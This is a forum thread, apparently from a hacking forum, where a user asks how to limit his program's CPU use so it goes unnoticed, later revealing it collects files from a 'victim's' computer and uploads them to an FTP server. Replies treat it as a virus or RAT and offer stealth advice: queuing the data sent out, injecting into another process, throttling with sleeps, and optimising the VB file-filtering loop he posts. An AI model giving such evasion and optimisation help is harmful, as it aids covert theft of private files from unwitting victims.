Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Limit CPU Usage in your application

I am trying for a very long time now to try and limit the CPU Usage of my program in a percentage which doesn't make it noticeable in order not to be easily found.

Could anyone please give me any code sample ?
How about you tell us what kind of application it is or show some code so we can see if you can do it more efficient? Would be a better solution than actually limiting the CPU usage.
Assuming it is a virus or a RAT, just limit what it does, dont send information from the victim PC to your PC or vice versa immediately but rather make a queue system. Make sure you do threading efficiently or don't thread at all. Or even inject your process into another process.
You could use Thread.Sleep In between you're code to slow it down then that sorta lower's the cpu usage also I believe running you're code in a timer also lower's it correct If im wrong
The way to do that would be limiting the CPU cores per action, or simply avoid doing the same task multiple times. For example, put some Timers (crappy way) to manage the times between both actions.
Make it more efficient before limiting actions. Once you do that, you can determine how often you want certain methods to run.
If you want a more specific answer, you'll have to post your code.
Well, make your app multi threaded and use thread.sleep method if the processor pass your choose percent and so on...
(Jan 12, 2016 03:42 PM)SL x TnT Wrote:  Make it more efficient before limiting actions.

^

That's one of the biggest reasons why we care about clean, efficient code.
Write clean and efficient code. Also you can write your app multithreaded (perform more tasks parallel)
Well, as everyone else said, you should do it more efficient, rather than limiting CPU usage..
But, if you are using Threads, you can try and set ThreadPriority, see more here:
msdn.microsoft.com/en-us/library/system.threading.thread.priority.aspx
You can't do what you asked literally, you should know this since you seem to be a dev.
(Jan 13, 2016 11:03 AM)He B TeMy Wrote:  You can't do what you asked literally, you should know this since you seem to be a dev.

To be true I'm just an hobbyist programmer who has little knowledge of VB..I have run a profiler on my program and I located that most the most CPU usage goes here :

For Each fdir As String In tempfileArrayList
Select Case True
Case fdir.Contains("Program Files")
Case fdir.Contains("Temporary Internet Files")
Case fdir.Contains("AppData")
Case fdir.Contains("Default")
Case fdir.Contains("Application Data")
Case Else
Variables.UpFilesArray.Add(fdir)
End Select
Next
tempfileArrayList.Clear()

I understand the reason why all the CPU goes here... tempfileArrayList is an arraylist which contains the paths of some filtered files I want to search on the victims computer...The CPU checks each single path for each of those cases.I know it's inefficient code and I would like to hear ideas on how to make this piece of code more efficient

Edit: Also I would like to say sorry for not replying quickly and thanks for helping me guys :)
(Jan 17, 2016 04:12 PM)GoldyHacker Wrote:  To be true I'm just an hobbyist programmer who has little knowledge of VB..I have run a profiler on my program and I located that most the most CPU usage goes here :

For Each fdir As String In tempfileArrayList
Select Case True
Case fdir.Contains("Program Files")
Case fdir.Contains("Temporary Internet Files")
Case fdir.Contains("AppData")
Case fdir.Contains("Default")
Case fdir.Contains("Application Data")
Case Else
Variables.UpFilesArray.Add(fdir)
End Select
Next
tempfileArrayList.Clear()

I understand the reason why all the CPU goes here... tempfileArrayList is an arraylist which contains the paths of some filtered files I want to search on the victims computer...The CPU checks each single path for each of those cases.I know it's inefficient code and I would like to hear ideas on how to make this piece of code more efficient

Edit: Also I would like to say sorry for not replying quickly and thanks for helping me guys :)

Example data of what's inside tempfileArrayList?
Where are you getting the data for tempfileArrayList?
How large is tempfileArrayList?
How many items are in UpFilesArray when it's finished?
How long does it run on your computer?
What's your goal?
(Jan 17, 2016 04:18 PM)SL x TnT Wrote:  Example data of what's inside tempfileArrayList?
How large is tempfileArrayList?
How many items are in UpFilesArray when it's finished?
How long does it run on your computer?
What's your goal?


Thanks for the quick reply

Example of the contents of tempfileArrayList :

D:\Note 3\Screenshot\IMG_edited\2015-05-17-19-54-11.png
D:\Note 3\Screenshot\IMG_edited\2015-05-31-01-01-04.png
D:\Note 3\Screenshot\IMG_edited\2015-06-01-21-27-35.png
D:\Note 3\Screenshot\IMG_edited\2015-06-02-10-17-18.png
D:\Note 3\Screenshot\IMG_edited\2015-06-02-18-59-27.png
D:\Note 3\Screenshot\IMG_edited\2015-06-03-12-33-36.png
D:\Note 3\Screenshot\IMG_edited\2015-06-03-19-56-00.png
D:\Note 3\Screenshot\IMG_edited\2015-06-03-19-56-40.png
D:\Note 3\Screenshot\IMG_edited\2015-06-03-21-15-46.png
D:\Note 3\Screenshot\IMG_edited\2015-06-04-22-00-22.png
D:\Note 3\Screenshot\IMG_edited\2015-06-05-20-30-04.png
D:\Note 3\Screenshot\IMG_edited\2015-06-07-14-24-41.png
D:\Note 3\Screenshot\IMG_edited\2015-06-07-22-34-49.png
D:\Note 3\Screenshot\IMG_edited\2015-06-08-07-27-11.png
D:\Note 3\Screenshot\IMG_edited\2015-06-08-08-52-52.png
D:\Note 3\Screenshot\IMG_edited\2015-06-08-14-42-23.png
D:\Note 3\Screenshot\IMG_edited\2015-06-08-17-26-51.png
D:\Note 3\Screenshot\IMG_edited\2015-06-08-21-18-38.png
D:\Note 3\Screenshot\IMG_edited\2015-06-09-08-49-19.png
D:\Note 3\Screenshot\IMG_edited\2015-06-09-12-50-49.png
D:\Note 3\Screenshot\IMG_edited\2015-06-09-13-02-15.png

It depends on the computer I would say maximum 10,000 entries

1/10 of the tempfilearraylist the cases remove all the unwanted files or at least the majority of them

My PC is a hexa-core i7-5820k I would say briefly 10 seconds but I don't expect my potential victim to have that kind of a pc

All these files are being uploaded to an FTP Server
(Jan 17, 2016 04:33 PM)GoldyHacker Wrote:  It depends on the computer I would say maximum 10,000 entries

1/10 of the tempfilearraylist the cases remove all the unwanted files or at least the majority of them

My PC is a hexa-core i7-5820k I would say briefly 10 seconds but I don't expect my potential victim to have that kind of a pc

All these files are being uploaded to an FTP Server

Are you sure?

Running 1m I'm getting ~700ms using a worse case equivalent of your code. Best case gives me ~50ms.
Proper multithreading gives me 300ms. Bad practices gives me 200ms.

That's running with the debugger.

Without debugger:

No threading = 450ms
Proper threading = 260ms
Improper threading = 130ms

You must be doing something that I'm missing. How are you adding to the list (it is a List and not an ArrayList, right?)
(Jan 17, 2016 05:45 PM)SL x TnT Wrote:  Are you sure?

Running 1m I'm getting ~700ms using a worse case equivalent of your code. Best case gives me ~50ms.
Proper multithreading gives me 300ms. Bad practices gives me 200ms.

That's running with the debugger.

Without debugger:

No threading = 450ms
Proper threading = 260ms
Improper threading = 130ms

You must be doing something that I'm missing. How are you adding to the list (it is a List and not an ArrayList, right?)

The whole program runs for about 10 secs but it takes 40% of the CPU usage. I would like the program to operate in the most unoticeable way


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Emre_Nov 3, 2020 10:03 AM 2 217 Nov 3, 2020 10:03 AM
Last Post: Emre_
[Java] by TennoFeb 3, 2019 04:49 AM 4 307 Feb 3, 2019 04:49 AM
Last Post: Tenno
[Java] by j10maxApr 30, 2017 03:16 PM 0 118 Apr 30, 2017 03:16 PM
Last Post: j10max